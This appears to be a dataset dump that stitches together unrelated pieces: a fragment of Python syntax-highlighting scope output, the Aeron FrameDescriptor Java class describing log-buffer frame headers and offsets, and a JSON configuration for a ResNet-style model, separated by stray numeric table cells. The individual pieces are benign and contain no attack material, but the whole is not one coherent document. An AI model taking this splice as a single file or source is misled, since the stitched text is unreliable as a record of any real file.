' : meta.fstring.python, punctuation.definition.string.end.python, source.python, string.quoted.single.python
[ : meta.fstring.python, punctuation.definition.list.begin.python, source.python
2 : constant.numeric.dec.python, meta.fstring.python, source.python
] : meta.fstring.python, punctuation.definition.list.end.python, source.python
} : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
} : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
""" : meta.fstring.python, punctuation.definition.string.end.python, source.python, string.interpolated.python, string.quoted.multi.python
def : meta.function.python, source.python, storage.type.function.python
: meta.function.python, source.python
foo : entity.name.function.python, meta.function.python, source.python
( : meta.function.parameters.python, meta.function.python, punctuation.definition.parameters.begin.python, source.python
) : meta.function.parameters.python, meta.function.python, punctuation.definition.parameters.end.python, source.python
: : meta.function.python, punctuation.section.function.begin.python, source.python
: source.python
pass : keyword.control.flow.python, source.python
| 1,216 |
3,400 | /*
* Copyright 2014-2021 Real Logic Limited.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.aeron.logbuffer;
import io.aeron.protocol.*;
import org.agrona.concurrent.UnsafeBuffer;
import java.nio.ByteOrder;
import static java.nio.ByteOrder.LITTLE_ENDIAN;
/**
* Description of the structure for message framing in a log buffer.
* <p>
* All messages are logged in frames that have a minimum header layout as follows plus a reserve then
* the encoded message follows:
* <pre>
* 0 1 2 3
* 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* |R| Frame Length |
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-------------------------------+
* | Version |B|E| Flags | Type |
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-------------------------------+
* |R| Term Offset |
* +-+-------------------------------------------------------------+
* | Additional Fields ...
* ... |
* +---------------------------------------------------------------+
* | Encoded Message ...
* ... |
* +---------------------------------------------------------------+
* </pre>
* <p>
* The (B)egin and (E)nd flags are used for message fragmentation. R is for reserved bit.
* Both (B)egin and (E)nd flags are set for a message that does not span frames.
*/
public class FrameDescriptor
{
/**
* Set a pragmatic maximum message length regardless of term length to encourage better design.
* Messages larger than half the cache size should be broken up into chunks and streamed.
*/
public static final int MAX_MESSAGE_LENGTH = 16 * 1024 * 1024;
/**
* Alignment as a multiple of bytes for each frame. The length field will store the unaligned length in bytes.
*/
public static final int FRAME_ALIGNMENT = 32;
/**
* Beginning fragment of a frame.
*/
public static final byte BEGIN_FRAG_FLAG = (byte)0b1000_0000;
/**
* End fragment of a frame.
*/
public static final byte END_FRAG_FLAG = (byte)0b0100_0000;
/**
* End fragment of a frame.
*/
public static final byte UNFRAGMENTED = BEGIN_FRAG_FLAG | END_FRAG_FLAG;
/**
* Offset within a frame at which the version field begins
*/
public static final int VERSION_OFFSET = DataHeaderFlyweight.VERSION_FIELD_OFFSET;
/**
* Offset within a frame at which the flags field begins
*/
public static final int FLAGS_OFFSET = DataHeaderFlyweight.FLAGS_FIELD_OFFSET;
/**
* Offset within a frame at which the type field begins
*/
public static final int TYPE_OFFSET = DataHeaderFlyweight.TYPE_FIELD_OFFSET;
/**
* Offset within a frame at which the term offset field begins
*/
public static final int TERM_OFFSET = DataHeaderFlyweight.TERM_OFFSET_FIELD_OFFSET;
/**
* Offset within a frame at which the term id field begins
*/
public static final int TERM_ID_OFFSET = DataHeaderFlyweight.TERM_ID_FIELD_OFFSET;
/**
* Offset within a frame at which the session id field begins
*/
public static final int SESSION_ID_OFFSET = DataHeaderFlyweight.SESSION_ID_FIELD_OFFSET;
/**
* Padding frame type to indicate the message should be ignored.
*/
public static final int PADDING_FRAME_TYPE = HeaderFlyweight.HDR_TYPE_PAD;
/**
* Compute the maximum supported message length for a buffer of given termLength.
*
* @param termLength of the log buffer.
* @return the maximum supported length for a message.
*/
public static int computeMaxMessageLength(final int termLength)
{
return Math.min(termLength >> 3, MAX_MESSAGE_LENGTH);
}
/**
* The buffer offset at which the length field begins.
*
* @param termOffset at which the frame begins.
* @return the offset at which the length field begins.
*/
public static int lengthOffset(final int termOffset)
{
return termOffset;
}
/**
* The buffer offset at which the version field begins.
*
* @param termOffset at which the frame begins.
* @return the offset at which the version field begins.
*/
public static int versionOffset(final int termOffset)
{
return termOffset + VERSION_OFFSET;
}
/**
* The buffer offset at which the flags field begins.
*
* @param termOffset at which the frame begins.
* @return the offset at which the flags field begins.
*/
public static int flagsOffset(final int termOffset)
{
return termOffset + FLAGS_OFFSET;
}
/**
* The buffer offset at which the type field begins.
*
* @param termOffset at which the frame begins.
* @return the offset at which the type field begins.
*/
public static int typeOffset(final int termOffset)
{
return termOffset + TYPE_OFFSET;
}
/**
* The buffer offset at which the term offset field begins.
*
* @param termOffset at which the frame begins.
* @return the offset at which the term offset field begins.
*/
public static int termOffsetOffset(final int termOffset)
{
return termOffset + TERM_OFFSET;
}
/**
* The buffer offset at which the term id field begins.
*
* @param termOffset at which the frame begins.
* @return the offset at which the term id field begins.
*/
public static int termIdOffset(final int termOffset)
{
return termOffset + TERM_ID_OFFSET;
}
/**
* The buffer offset at which the session id field begins.
*
* @param termOffset at which the frame begins.
* @return the offset at which the session id field begins.
*/
public static int sessionIdOffset(final int termOffset)
{
return termOffset + SESSION_ID_OFFSET;
}
/**
* Read the type of the frame from header.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @return the value of the frame type header.
*/
public static int frameVersion(final UnsafeBuffer buffer, final int termOffset)
{
return buffer.getByte(versionOffset(termOffset));
}
/**
* Get the flags field for a frame.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @return the value of the flags.
*/
public static byte frameFlags(final UnsafeBuffer buffer, final int termOffset)
{
return buffer.getByte(flagsOffset(termOffset));
}
/**
* Read the type of the frame from header.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @return the value of the frame type header.
*/
public static int frameType(final UnsafeBuffer buffer, final int termOffset)
{
return buffer.getShort(typeOffset(termOffset), LITTLE_ENDIAN) & 0xFFFF;
}
/**
* Is the frame starting at the termOffset a padding frame at the end of a buffer?
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @return true if the frame is a padding frame otherwise false.
*/
public static boolean isPaddingFrame(final UnsafeBuffer buffer, final int termOffset)
{
return buffer.getShort(typeOffset(termOffset)) == PADDING_FRAME_TYPE;
}
/**
* Get the length of a frame from the header.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @return the value for the frame length.
*/
public static int frameLength(final UnsafeBuffer buffer, final int termOffset)
{
return buffer.getInt(termOffset, LITTLE_ENDIAN);
}
/**
* Get the term id of a frame from the header.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @return the value for the term id field.
*/
public static int frameTermId(final UnsafeBuffer buffer, final int termOffset)
{
return buffer.getInt(termIdOffset(termOffset), LITTLE_ENDIAN);
}
/**
* Get the session id of a frame from the header.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @return the value for the session id field.
*/
public static int frameSessionId(final UnsafeBuffer buffer, final int termOffset)
{
return buffer.getInt(sessionIdOffset(termOffset), LITTLE_ENDIAN);
}
/**
* Get the length of a frame from the header as a volatile read.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @return the value for the frame length.
*/
public static int frameLengthVolatile(final UnsafeBuffer buffer, final int termOffset)
{
int frameLength = buffer.getIntVolatile(termOffset);
if (ByteOrder.nativeOrder() != LITTLE_ENDIAN)
{
frameLength = Integer.reverseBytes(frameLength);
}
return frameLength;
}
/**
* Write the length header for a frame in a memory ordered fashion.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @param frameLength field to be set for the frame.
*/
public static void frameLengthOrdered(final UnsafeBuffer buffer, final int termOffset, final int frameLength)
{
int length = frameLength;
if (ByteOrder.nativeOrder() != LITTLE_ENDIAN)
{
length = Integer.reverseBytes(frameLength);
}
buffer.putIntOrdered(termOffset, length);
}
/**
* Write the type field for a frame.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @param type type value for the frame.
*/
public static void frameType(final UnsafeBuffer buffer, final int termOffset, final int type)
{
buffer.putShort(typeOffset(termOffset), (short)type, LITTLE_ENDIAN);
}
/**
* Write the flags field for a frame.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @param flags value for the frame.
*/
public static void frameFlags(final UnsafeBuffer buffer, final int termOffset, final byte flags)
{
buffer.putByte(flagsOffset(termOffset), flags);
}
/**
* Write the term offset field for a frame.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
*/
public static void frameTermOffset(final UnsafeBuffer buffer, final int termOffset)
{
buffer.putInt(termOffsetOffset(termOffset), termOffset, LITTLE_ENDIAN);
}
/**
* Write the term id field for a frame.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @param termId value for the frame.
*/
public static void frameTermId(final UnsafeBuffer buffer, final int termOffset, final int termId)
{
buffer.putInt(termIdOffset(termOffset), termId, LITTLE_ENDIAN);
}
/**
* Write the session id field for a frame.
*
* @param buffer containing the frame.
* @param termOffset at which a frame begins.
* @param sessionId value for the frame.
*/
public static void frameSessionId(final UnsafeBuffer buffer, final int termOffset, final int sessionId)
{
buffer.putInt(sessionIdOffset(termOffset), sessionId, LITTLE_ENDIAN);
}
}
| 4,618 |
491 | {
"block": "bottleneck",
"base_model": "resnet",
"finetuning_task": null,
"groups": 1,
"hidden_dropout_prob": 0.1,
"hidden_size": 64,
"initial_hidden_dimension": 64,
"initializer_range": 0.02,
"layer_norm_eps": 1e-12,
"layers": [
3,
4,
23,
3
],
"hidden_act": "relu",
"max_position_embeddings": 8096,
"num_labels": 2,
"output_attentions": false,
"output_hidden_states": false,
"output_size": 2048,
"pruned_heads": {},
"replace_stride_with_dilation": false,
"torchscript": false,
"type_vocab_size": 1,
"vocab_size": 8000,
"width_per_group": 64,
"zero_init_residual": false
}
| 282 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.